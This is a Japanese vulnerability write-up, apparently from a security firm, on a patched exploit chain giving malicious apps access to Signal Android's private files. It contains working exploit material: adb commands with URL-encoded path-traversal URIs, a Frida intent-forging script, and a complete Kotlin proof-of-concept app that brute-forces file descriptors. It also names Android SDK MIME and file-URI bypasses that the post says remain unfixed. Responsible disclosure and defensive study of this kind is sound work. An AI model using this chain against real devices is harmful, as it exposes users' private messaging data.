当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

SignalからAndroid SDKへ:パストラバーサル、Mimetypeの混同、セキュリティチェックのバイパス、ファイルディスクリプタのブルートフォースを連鎖させた任意ファイルアクセス

本技術分析では、パストラバーサル、シンボリックリンクの操作、Android SDKの癖を組み合わせた高度な攻撃チェックが、定評のある暗号化を無傷に保ったままSignal Androidの防御を突破し、機密性の高い内部ファイルを抽出し得る様子を明らかにします。Signalはこれらの脆弱性を数日以内に修正しましたが、今回の発見は、一見ささいなバグがいかに強力なエクスプロイトへと連鎖し得るか、そしてなぜ最良のセキュリティアーキテクチャにも多層の防御が必要なのかについて、重要な教訓を示しています

はじめに

誤解を招くセキュリティ上の主張を掲げたSignalのフォークであるTeleMessageの侵害を受け、当社Ostorlabは、堅牢なセキュリティ運用で知られるアプリケーションであるSignal自体のセキュリティをレビューすることにしました。当社の自動脆弱性スキャンプラットフォームを用いて、Signal Android(バージョン7.44.1まで)に2つの弱点を発見し、これがAndroid SDKの2つの脆弱性と組み合わさることで、暗号化されたデータベース、平文の連絡先の一部、firebaseの通知トークン、webviewのキャッシュとクッキージャーなどを含む内部ファイルへのアクセスが可能になり得ることを突き止めました。

技術的な詳細に入る前に、当社の開示に対するSignalの卓越した対応を強調しておきたいと思います。Signalのセキュリティチームは、当社の検出結果をわずか3時間で認め、数日以内に修正を準備しました。これは、セキュリティ脆弱性がどう扱われるべきかを示す見事な一例です。この迅速さは、Signalがユーザーのセキュリティに注力していることを示すとともに、業界にとっての最高水準の手本となっています。

本記事では、これらの検出結果について技術的に深く掘り下げます。

BlobContentProviderにおけるパストラバーサル

パストラバーサル脆弱性の検出

  • 種別:URLデコードされたセグメントを経由したパストラバーサル
  • コンポーネント:BlobContentProvider(BlobProvider.java:188)
  • 影響:内部アプリケーションファイルへの読み取りアクセス
  • ステータス:修正済み

当社の自動静的解析は、org.thoughtcrime.securesms.providers.BlobContentProvider内のFile <init>メソッドへのテイント伝播を通じて、パストラバーサル脆弱性を特定しました。

テイント解析のフロー

BlobContentProviderはAndroidManifest.xmlでandroid:exported="false"およびandroid:grantUriPermissions="true"として宣言されています。

   <provider android:name=".providers.BlobContentProvider"
              android:authorities="${applicationId}.blob"
              android:exported="false"
              android:grantUriPermissions="true" />

パストラバーサル脆弱性は
org.thoughtcrime.securesms.providers.BlobContentProvider(具体的にはBlobProvider.java:188)に存在します。この欠陥により、内部のblobファイル名を構築する際にファイルパスを操作できます。

Uriを通じてBlobContentProviderのopenFileメソッドにアクセスします。これには通常、昇格した権限(たとえばadb shellのアクセス)、または操作可能なURIに対してgrantUriPermissionsが付与される状況が必要です。

BlobContentProviderは、読み取りリクエストのハンドラーとしてopenFile(BlobContentProvider.java:34)を実装しています。このopenFile関数は、ユーザーが制御するUriを引数として受け取ります。

 public ParcelFileDescriptor openFile(@NonNull Uri uri, 
                                      @NonNull String mode) 
                                      throws FileNotFoundException

uri引数は、続いてBlobProvider.getInstance().getStream(BlobContentProvider.java:38)に渡されます。

InputStream stream = BlobProvider.getInstance().getStream(AppDependencies.getApplication(), uri))

これがさらにgetBlobRepresentation(BlobProvider.java:161)を呼び出します。

 return 
  getBlobRepresentation(
  context,
  uri,
  ByteArrayMediaDataSource::new,
  file->EncryptedMediaDataSource.createForDiskBlob(getAttachmentSecret(context),file));

BlobProvider.java:188で、uri引数のID_PATH_SEGMENT(5番目のセグメント)が抽出されます。この抽出された文字列はファイル名の構築に使われ、その後ディレクトリパスと結合されてFileコンストラクターに渡されます。

        String id        = uri.getPathSegments().get(ID_PATH_SEGMENT);
        String directory = getDirectory(storageType);
        File   file      = new File(getOrCreateDirectory(context, directory), buildFileName(id));

Uri.getPathSegments()メソッド(以下に抜粋を示します)は、各パスセグメントに対してURLデコードを行います。つまり、URLエンコードされたパストラバーサルのシーケンス(たとえば/に対する%2F)が、Fileオブジェクトの構築前にそのままの文字へとデコードされ、トラバーサルが発生し得るのです。

// Excerpt from Android SDK's Uri.java (similar to getPathSegments implementation)
/**
 * Gets the individual path segments. Parses them if necessary.
 *
 * @return parsed path segments or null if this isn't a hierarchical
 * URI
 */
PathSegments getPathSegments() {
    if (pathSegments != null) {
        return pathSegments;
    }
    String path = getEncoded();
    if (path == null) {
        return pathSegments = PathSegments.EMPTY;
    }
    PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
    int previous = 0;
    int current;
    while ((current = path.indexOf('/', previous)) > -1) {
              if (previous < current) {
            String decodedSegment = decode(path.substring(previous, current));             segmentBuilder.add(decodedSegment);
        }
        previous = current + 1;
    }
       if (previous < path.length()) {
        segmentBuilder.add(decode(path.substring(previous)));    }
    return pathSegments = segmentBuilder.build();
}

getPathSegmentsの実装では、抽出されたidに対して、デコード後かつファイルパス構築前に、パストラバーサルのシーケンス(../やそのURLエンコード版)に対するサニタイズが一切行われていません。

次のadb shell content readコマンドを使って、パストラバーサルを引き起こすことができます。

adb shell content read --uri "content://org.thoughtcrime.securesms.blob
                             /blob/single-session-disk/text_plain/test.txt
                             /1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml"

Fileコンストラクターをフックすると、パストラバーサルのペイロードが処理されている様子がわかります。

Attaching...                                                            
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::4020 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/
test.txt/1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml
[+] Mode: r
[+] Stack trace:
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
...
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../shared_prefs/org.thoughtcrime.securesms_preferences.xml.blob (1)
[+] Stack trace:
    java.io.File.<init>(Native Method)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
[!] Exception in openFile: Error: java.io.FileNotFoundException

示したとおり、パストラバーサルのペイロード../../がFileコンストラクターで使われています。対象ファイルの直接的な読み取りが妨げられているのは、buildFileName関数がファイル名に.blob拡張子を付加する(org.thoughtcrime.securesms_preferences.xml.blob)ためで、対象ファイルが明示的にこの拡張子を持たない限りFileNotFoundExceptionが発生します。

このファイル名処理を回避し得る方法として、目的のファイルを指すシンボリックリンクを作成することが考えられます。このシンボリックリンクの名前(.blob拡張子なし)をContent Providerに渡します。これによりFileコンストラクターがシンボリックリンクの名前を受け取り、それが対象ファイルへと解決されるため、実質的に.blob拡張子のチェックをバイパスできます。

書き込み可能でアクセス可能なディレクトリ(/data/local/tmpなど)に、Signalのプライベートデータ内の機密性の高い対象ファイル(targets.xml)を指すtoto.blobという名前のシンボリックリンクを作成します。

806290 lrwxrwxrwx 1 root  root         98 2025-05-19 19:25 toto.blob -> /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml

adb shell content read --uri "content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto"

Fileコンストラクターをフックすると、パストラバーサルのペイロードが処理されている様子がわかります。

Attaching...                                                            
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::27976 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto
[+] Mode: r
[+] Stack trace:
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)

[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms
[+] Child name: app_single_session_blobs
[+] Stack trace:
    java.io.File.<init>(Native Method)
    android.app.ContextImpl.makeFilename(ContextImpl.java:2861)
    android.app.ContextImpl.getDir(ContextImpl.java:2558)
    android.content.ContextWrapper.getDir(ContextWrapper.java:318)
    org.thoughtcrime.securesms.providers.BlobProvider.getOrCreateDirectory(BlobProvider.java:452)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)

[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../../../../../../../../tmp/toto.blob
[+] Stack trace:
    java.io.File.<init>(Native Method)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
[+] openFile returned successfully

このメカニズムを通じて読み取られるファイルは、たとえ平文のファイルであっても、復号ルーチンを通されます。そのため、平文のファイルの読み取りに成功したとしても、その内容は復号され、文字化けした解読不能な出力になります。

ただし、出力はファイルの先頭バイトで復号されます。予測可能なヘッダーを持つファイルであれば、依然として取得できます。この脆弱性は、(次のセクションの)ファイル読み取り脆弱性と連鎖させることで、平文ファイルへのアクセスに利用できます。

Signalは、/やその他の特殊文字をエンコードすることでこの問題を修正しました。

  private static @Nullable String getId(@NonNull Uri uri) {
    if (isAuthority(uri)) {
      return Uri.encode(uri.getPathSegments().get(ID_PATH_SEGMENT));
    }
    return null;
  }
@@ -422,7 +422,7 @@ public static boolean isAuthority(@NonNull Uri uri) {
  }

  private static @NonNull String buildFileName(@NonNull String id) {
    return Uri.encode(id) + ".blob";
  }

  private static @NonNull String getDirectory(@NonNull StorageType storageType) {

Uri.encode()を使うことで、/文字が%2Fとしてエンコードされたまま保たれ、パストラバーサル攻撃が防がれます。

ShareActivityにおけるファイル読み取り脆弱性

ShareActivityのファイル読み取り脆弱性のコードスニペット

  • 種別:インテントの操作を通じた任意ファイルの読み取り
  • コンポーネント:ShareActivity
  • 影響:プライベートなアプリケーションファイルの持ち出し
  • ステータス:修正済み
   <activity android:name=".sharing.v2.ShareActivity"
              android:theme="@style/Theme.Signal.DayNight.NoActionBar"
              android:exported="true"
              android:excludeFromRecents="true"
              android:taskAffinity=""
              android:windowSoftInputMode="stateHidden"
              android:configChanges="touchscreen|keyboard|keyboardHidden|orientation|screenLayout|screenSize">
        <intent-filter>
            <action android:name="android.intent.action.SEND" />
            <category android:name="android.intent.category.DEFAULT"/>
            <data android:mimeType="audio/*" />
            <data android:mimeType="image/*" />
            <data android:mimeType="text/plain" />
            <data android:mimeType="video/*" />
            <data android:mimeType="application/*"/>
            <data android:mimeType="text/*"/>
            <data android:mimeType="*/*"/>
        </intent-filter>

        <intent-filter>
            <action android:name="android.intent.action.SEND_MULTIPLE" />
            <category android:name="android.intent.category.DEFAULT"/>
            <data android:mimeType="image/*" />
            <data android:mimeType="video/*" />
        </intent-filter>

      <meta-data
          android:name="android.service.chooser.chooser_target_service"
          android:value="androidx.sharetarget.ChooserTargetServiceCompat"
          tools:targetApi="23" />

    </activity>

インテントを受け取ると、onCreateコールバック(ShareActivity.kt:84)がgetUnresolvedShareData(ShareActivity.kt:87)を呼び出し、受信したインテントのデータを検証して処理します。

getUnresolvedShareDataメソッド(ShareActivity.kt)は、インテントのアクションやエクストラに応じて異なる扱いをします(たとえば198行目のEXTRA_TEXT付きのACTION_SEND_MULTIPLE、213行目のEXTRA_STREAM付きのACTION_SEND_MULTIPLEなど)。インテントの内容は最終的に、UnresolvedShareDataのsealedクラス(UnresolvedShareData.kt)のいずれかにカプセル化されます。

 sealed class UnresolvedShareData {
  data class ExternalMultiShare(val uris: List<Uri>) : UnresolvedShareData()
  data class ExternalSingleShare(val uri: Uri, 
                                 val mimeType: String?, 
                                 val text: CharSequence?) : UnresolvedShareData()
  data class ExternalPrimitiveShare(val text: CharSequence) : UnresolvedShareData()
}

これらは続いて、ShareRepository.kt:25のresolve関数で処理されます。

fun resolve(unresolvedShareData: UnresolvedShareData): Single<out ResolvedShareData> {
 return when (unresolvedShareData) {
   is UnresolvedShareData.ExternalMultiShare -> Single.fromCallable { resolve(unresolvedShareData) }
   is UnresolvedShareData.ExternalSingleShare -> Single.fromCallable { resolve(unresolvedShareData) }
  ...
    }.subscribeOn(Schedulers.io())
  }

UnresolvedShareData.ExternalSingleShareのインテントについては、UriUtil.isValidExternalUri(UriUtil.kt:21)を通じて重要なセキュリティチェックが行われます。

private fun resolve(multiShareExternal: UnresolvedShareData.ExternalSingleShare): ResolvedShareData {
    if (!UriUtil.isValidExternalUri(appContext, multiShareExternal.uri)) {
      return ResolvedShareData.Failure
    }
}
// UriUtil.kt:21
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
    if (ContentResolver.SCHEME_FILE == uri.scheme) {
      try {
        val file = File(uri.path)

        return file.canonicalPath == file.path &&
          !file.canonicalPath.startsWith("/data") &&
          !file.canonicalPath.contains(context.packageName)
      } catch (e: IOException) {
        return false
      }
    } else {
      return true
    }
  }

このisValidExternalUri関数は、file:// URIが内部のアプリケーションデータディレクトリ(/data)やアプリ自身のパッケージ名を指すことを正しく防ぎます。

しかし、UnresolvedShareData.ExternalMultiShareのインテント(ShareRepository.ktのExternalMultiShare向けのresolve)については、この重要なisValidExternalUriチェックが欠落しています。処理の条件は、インテントが画像または動画に一致するmimeTypeを持つこと(MediaUtil.isImageType(it) || MediaUtil.isVideoType(it))だけです。

これにより、悪意のあるアプリケーションは、Signalのプライベートデータディレクトリ内の任意のファイルを指すfile:// URIを渡すことができます。そのようなインテントが処理されると、Signalの内部メディア処理ルーチンが指定されたプライベートファイルの内容を読み取り、その後それを自身の内部プライベートblobストレージ(app_single_session_blobs)にコピーします。

次のFridaスクリプトは、悪意のあるアプリケーションがACTION_SEND_MULTIPLEインテントを偽造してShareActivityに送信し、Signalにプライベートデータディレクトリから機密性の高いファイル(被害者の連絡先の名前を含むtargets.xml)を読み取らせる方法を示しています。

Java.perform(function () {
    try {
        var Intent = Java.use('android.content.Intent');

        var intent = Intent.$new();


        intent.setAction(Intent.ACTION_SEND_MULTIPLE.value);
        intent.setType("image/png");


        var Uri = Java.use('android.net.Uri');
        var uri1 = Uri.parse("file://data/data/org.thoughtcrime.securesms"+
                            "/files/ShortcutInfoCompatSaver_share_targets/targets.xml"); 
        var uri2 = Uri.parse("file://data/tmp/file.png"); 
        var ArrayList = Java.use('java.util.ArrayList');
        var uriList = ArrayList.$new();
        uriList.add(uri1);
        uriList.add(uri2);


        intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM.value, uriList);

        var ComponentName = Java.use('android.content.ComponentName');
        var component = ComponentName.$new(
            "org.thoughtcrime.securesms",
            "org.thoughtcrime.securesms.sharing.v2.ShareActivity"
        );
        intent.setComponent(component);

        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value);

        var ActivityThread = Java.use('android.app.ActivityThread');
        var context = ActivityThread.currentApplication().getApplicationContext();
        context.startActivity(intent);
        console.log("Intent sent successfully!");
    } catch (e) {
        console.error("Error sending intent: " + e);
    }
});

作成したインテントの送信に成功すると、Signalはtargets.xmlの内容を読み取り、通常はapp_single_session_blobs内に、自身のプライベートストレージ内の新しいblobファイルを作成します。この新しいblobが存在することで、内部の任意ファイル読み取りが確認できます。

find . -name *blob | xargs ls -ali                                                                                                   
./app_single_session_blobs/ad7843bd-5377-46ea-9a85-fe78d9f86050.blob
./app_single_session_blobs/e9dfcb56-c005-4150-bbf3-ca70960c05ab.blob

新しく作成されたblobファイルは、Signalのプライベートデータディレクトリ内に暗号化された形式で保存されます。ShareActivityは内部での読み取りとコピーを可能にしますが、悪意のあるアプリケーションが平文の内容に直接アクセスできるわけではありません。これらのblobの内容を取得するには、BlobContentProviderを経由した別の読み取り操作が必要になります。

ファイル読み取りを完全に悪用するには、3つの問題に対処する必要があります。すなわち、(1) Android SDKによって課されるセキュリティ例外、(2) Android SDKを用いてSignalが課すmimeタイプの検証、そして(3) UUID 4を使ったランダムなファイル名の推測です。

ただし、これらはすべて、Android SDKで新たに発見された2つの脆弱性と、ファイル名のランダム性をバイパスするためのパストラバーサル脆弱性の悪用により、バイパス可能です。Android SDKの問題は、後方互換性と技術的な実現可能性の課題のため、修正されません。

File URIのセキュリティ例外とファイルタイプの混同

ファイルアクセスをブロックするFile URIのセキュリティ例外

前のバグの前提は、悪意のあるアプリケーションからfile:// URIを渡せること、そしてそれが任意のファイルタイプを参照しつつ任意のファイルタイプを装えることです。

悪意のあるアプリケーションから次のインテントを送信すると、次のエラーが発生します。

   fun triggerVulnerability(): Boolean {
        val intent = Intent().apply {
            action = Intent.ACTION_SEND_MULTIPLE
            type = "image/png"
        };

        var uris = ArrayList<Uri>()
        var uri1 = Uri.parse("file:///data/data/org.thoughtcrime.securesms/" +
                "shared_prefs/org.thoughtcrime.securesms_preferences.xml");
        uris.add(uri1);

        intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris);
        intent.putExtra("android.intent.extra.shortcut.ID", "0");

        startActivity(intent)
        return true
    }

FileUriExposedExceptionをバイパスするためのStrictModeの設定

URIはAndroidによってブロックされ、FileUriExposedExceptionが報告されます。

ただし、このチェックはsystemで始まるかどうかのチェックのエッジケースのため、簡単にバイパスできます。したがって、次のURLを使うとfile://system/../data/スキームを渡してセキュリティ例外をバイパスできます。

https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/android/net/Uri.java;l=2399?q=checkFIleUriExposed

   public void checkFileUriExposed(String location) {
        if ("file".equals(getScheme())
                && (getPath() != null) && !getPath().startsWith("/system/")) {
            StrictMode.onFileUriExposed(this, location);
        }
    }

このURIを渡すとSignalに到達できますが、mimeタイプが画像または動画に一致するかどうかのチェックがあるため、URIのタイプに関するチェックは通過できません。

ResolvedShareData {
    val mimeTypes: Map<Uri, String> = externalMultiShare.urisAdd commentMore actions
      .filter { UriUtil.isValidExternalUri(appContext, it) }
      .associateWith { uri -> getMimeType(appContext, uri, null) }
      .filterValues {
        MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
      }

このチェックは、MediaTypeMapメソッドを使ってURLからファイル拡張子を取得しています。

https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/android/webkit/MimeTypeMap.java;l=45?q=MimeTypeMap

   public static String getFileExtensionFromUrl(String url) {
        if (!TextUtils.isEmpty(url)) {
            int fragment = url.lastIndexOf('#');
            if (fragment > 0) {
                url = url.substring(0, fragment);
            }

            int query = url.lastIndexOf('?');
            if (query > 0) {
                url = url.substring(0, query);
            }

            int filenamePos = url.lastIndexOf('/');
            String filename =
                0 <= filenamePos ? url.substring(filenamePos + 1) : url;

            // if the filename contains special characters, we don't
            // consider it valid for our matching purposes:
            if (!filename.isEmpty() &&
                Pattern.matches("[a-zA-Z_0-9\\.\\-\\(\\)\\%]+", filename)) {
                int dotPos = filename.lastIndexOf('.');
                if (0 <= dotPos) {
                    return filename.substring(dotPos + 1);
                }
            }
        }

        return "";
    }

ただし、この実装は安全でなく、任意のファイル拡張子が他の任意の拡張子を装えてしまう脆弱性があります。この問題は、?と/に対するlastIndexOfの使用に起因しており、以下の例ではメソッドがtoto.xmlではなく/a.pngを処理してしまいます。

file://folder/toto.xml?/a.png?

Android SDKのこれら2つの問題を連鎖させることで、任意のfile:// URIを渡して、任意のタイプのSignalの内部ファイルにアクセスできます。次の課題は、UUID4の名前の推測です。

ファイル名のランダム性

ShareActivityは、予測不可能なUUID 4を使ってランダムな名前のファイルを作成します。これらにContent Providerからアクセスするには、blob idを知る必要があります。

しかし、これはパストラバーサルを連鎖させ、ファイルディスクリプタに直接アクセスすることでバイパスできます。すべてのファイルは、いったん開かれるとファイルディスクリプタ番号を返します。これは通常、小さな連番であり、簡単にブルートフォースできます。さらに、ファイルディスクリプタは、/proc/<pid>/fd/<fd_number>に存在する開いているファイルディスクリプタへのシンボリックリンクを持ちます。

ファイルディスクリプタ番号は、以下のトレースに示すとおり容易に予測可能で、blobがファイルディスクリプタ251(0xfb)で開かれていることがわかります。

fd 251を示すファイルディスクリプタ予測攻撃

以下のスクリーンショットに示すように、fdフォルダを監視することでもファイルディスクリプタの作成を確認できます。

procファイルシステム内のファイルディスクリプタのシンボリックリンク

したがって、悪意のあるアプリケーションは、FLAG_ACTIVITY_NEW_TASKフラグを付けたインテントを繰り返し発行して複数のアクティビティが作成されるようにすることが可能です。同時に、悪意のあるアプリは一致が得られるまですべてのシンボリックリンクの読み取りを試みます。以下はこれを実現するサンプルコードです。

package co.ostorlab.malsignal

import android.content.Intent
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.system.Os
import android.util.Log
import androidx.activity.ComponentActivity
import java.io.File

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        triggerSecurityException()
    }

    private fun createSymlinks() {
        // Create 100 symbolic links from number.blob to /proc/self/fd/number
        for (i in 0..99) {
            val symlinkFile = File("/data/data/co.ostorlab.malsignal", "$i.blob")
            // Delete if it exists, to recreate it.
            if (symlinkFile.exists())
                symlinkFile.delete()


            Os.symlink("/proc/self/fd/$i", symlinkFile.absolutePath)
            symlinkFile.setReadable(true, false)
            symlinkFile.setWritable(true, false)
            Log.d("PoC", "Created symlink: ${symlinkFile.absolutePath} -> /proc/self/fd/$i")
        }
    }

    fun triggerSecurityException(): Boolean {
        createSymlinks()

        // Thread to continuously send intents to Signal to force it to open its preferences file
        Thread {
            while (true) {
                val intent = Intent().apply {
                    action = Intent.ACTION_SEND_MULTIPLE
                    type = "image/png"
                    setPackage("org.thoughtcrime.securesms")
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                }

                val uris = ArrayList<Uri>()
                val uri1 = Uri.parse("file:///system/../data/data/org.thoughtcrime.securesms/shared_prefs/org.thoughtcrime.securesms_preferences.xml?/a.png?")
                uris.add(uri1)

                intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris)
                intent.putExtra("android.intent.extra.shortcut.ID", "1");

                try {
                    startActivity(intent)
                } catch (e: Exception) {
                    Log.e("PoC", "Error starting activity for intent sending thread", e)
                }
            }
        }.start()

        // Thread to continuously query Signal's BlobContentProvider to race and read the FD
        Thread {
            val signalBlobProviderAuthority = "org.thoughtcrime.securesms.blob"
            // Path traversal to get from Signal's blob dir to our cache dir.
            // Assumes blob dir is 2 levels deep, e.g., /data/data/pkg/files/blobs
            val traversalPath = "blob/single-session-disk/text_plain/test.txt/1024/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fco.ostorlab.malsignal"

            while (true) {
                for (i in 0..300) {
                    val maliciousUri = Uri.parse("content://$signalBlobProviderAuthority/$traversalPath$i")
                    try {
                        contentResolver.openInputStream(maliciousUri)?.use { inputStream ->
                            val content = inputStream.bufferedReader().readText()
                            if (content.isNotBlank()) {
                                Log.d("PoC", "SUCCESS! Leaked content from FD $i:\n$content")
                            }
                        }
                    } catch (e: Exception) {
                        // This is expected to fail most of the time as we are racing.
                    }
                }
            }
        }.start()

        return true
    }
}

ボーナス:修正とTOCTOUの分析

Signalは、包括的なURI検証を実装することでShareActivityの脆弱性に対処しました。しかし、この修正には理論上のTime-of-Check Time-of-Use(TOCTOU)脆弱性が含まれています。これは学術的には興味深いものの、Androidのファイルシステムの制約のため、実際には悪用できません。

Signalは、isValidExternalUriメソッドを通じて検証を追加しました。

/**
 * Ensures that an external URI is valid and doesn't contain any references to internal files or
 * any other trickiness.
 */
@JvmStatic
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
    if (ContentResolver.SCHEME_FILE == uri.scheme) {
        try {
            val file = File(uri.path)
            return file.canonicalPath == file.path &&
                !file.canonicalPath.startsWith("/data") &&
                !file.canonicalPath.contains(context.packageName)
        } catch (e: IOException) {
            return false
        }
    } else {
        return true
    }
}

この検証は、ShareActivity内のすべてのURIに適用されます。

private fun resolve(externalMultiShare: UnresolvedShareData.ExternalMultiShare): ResolvedShareData {
    val mimeTypes: Map<Uri, String> = externalMultiShare.uris
        .filter { UriUtil.isValidExternalUri(appContext, it) }  // Validation happens here
        .associateWith { uri -> getMimeType(appContext, uri, null) }
        .filterValues {
            MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
        }
    // ... rest of processing
}

この検証は、file:// URIに対して3つの重要なチェックを行います。

  1. 正規化パスのチェック:file.canonicalPath == file.path
  2. 解決後のパスが元のパスと一致することを確認し、シンボリックリンクによるトラバーサルを防ぐ
  3. シンボリックリンクを経由したあらゆる間接参照をブロックする

  4. データディレクトリのブロック:!file.canonicalPath.startsWith("/data")

  5. いずれのアプリのプライベートデータへのアクセスも防ぐ
  6. 機密性の高いファイルが存在する/dataパーティション全体をブロックする

  7. パッケージ名のチェック:!file.canonicalPath.contains(context.packageName)

  8. Signalのファイルへのアクセスに対する追加の防御
  9. ファイルが/dataの外に存在し得るエッジケースを捕捉する

検証と実際のファイル使用との間に時間差があるため、TOCTOU脆弱性が存在します。

時刻T1:isValidExternalUri()がファイルをチェックする - 正規化パスを読み取る - 安全であることを検証する - trueを返す

時刻T2:ShareActivityがファイルを処理する - ファイルを開いて読み取る - blobストレージにコピーする

  1. 攻撃者が正当なファイルパス(たとえば/sdcard/innocent.jpg)を渡す
  2. T1で検証が通過する
  3. T1とT2の間に、攻撃者がそのファイルを/data/data/org.thoughtcrime.securesms/private_fileへのシンボリックリンクに置き換える
  4. ShareActivityがT2でプライベートファイルを読み取る

Androidのファイルシステムのアーキテクチャは、以下の理由によりこのTOCTOUの悪用を防ぎます。

1. 書き込みアクセスの制限:

/data/        ← Only writable by apps in their own directories
/sdcard/      ← Writable but doesn't support symlinks
/system/      ← Read-only
/vendor/      ← Read-only
/tmp/         ← Maps to /data/

2. 外部ストレージの制約:

  • Androidの外部ストレージ(/sdcard)向けのFUSEファイルシステムは、シンボリックリンクの作成を明示的にブロックする
  • シンボリックリンクを作成しようとするとOperation not permittedで失敗する
vbox86p:/data/data/org.thoughtcrime.securesms # ln -s /data/local/tmp/target /sdcard/link
ln: cannot create symbolic link from '/data/local/tmp/target' to '/sdcard/link': Function not implemented

4. 理論上のバイパスに必要な条件:このTOCTOUを悪用可能にするには、攻撃者は次のものを必要とします。

  • シンボリックリンクをサポートする/data外のディレクトリへの書き込みアクセス
  • そのディレクトリでファイルを作成・変更する能力

すべてを組み合わせる

以下は、SignalとAndroid SDKの両方にあるさまざまな問題を連鎖させて、Signalアプリケーション内のファイルを読み取る方法を示す図です。

  1. ShareActivityにインテントをブルートフォースで送り、内部ファイルの読み取りを引き起こす
  2. 内部ファイルは暗号化され、BlobProviderに追加される
  3. BlobProviderはランダムなUUIDのファイル名を生成し、内部データベースに追加する
  4. 悪意のあるアプリは、ファイルディスクリプタを指すシンボリックリンクを狙ってパストラバーサルをブルートフォースで悪用する
  5. BlobProviderはシンボリックファイルを指し、実際のファイルを指すファイルディスクリプションを読み取る
  6. 鍵がファイルのヘッダーに格納されているため、BlobProviderはファイルの内容を復号し、平文で返す
  7. ファイルは最終的に、平文でアプリケーションに返される

ファイルディスクリプタは短命であるため、このアプローチは対象ファイルを漏えいさせられるまでループで実行する必要があります。

ファイルディスクリプタのタイミング攻撃のループ実装

影響とセキュリティ上の教訓

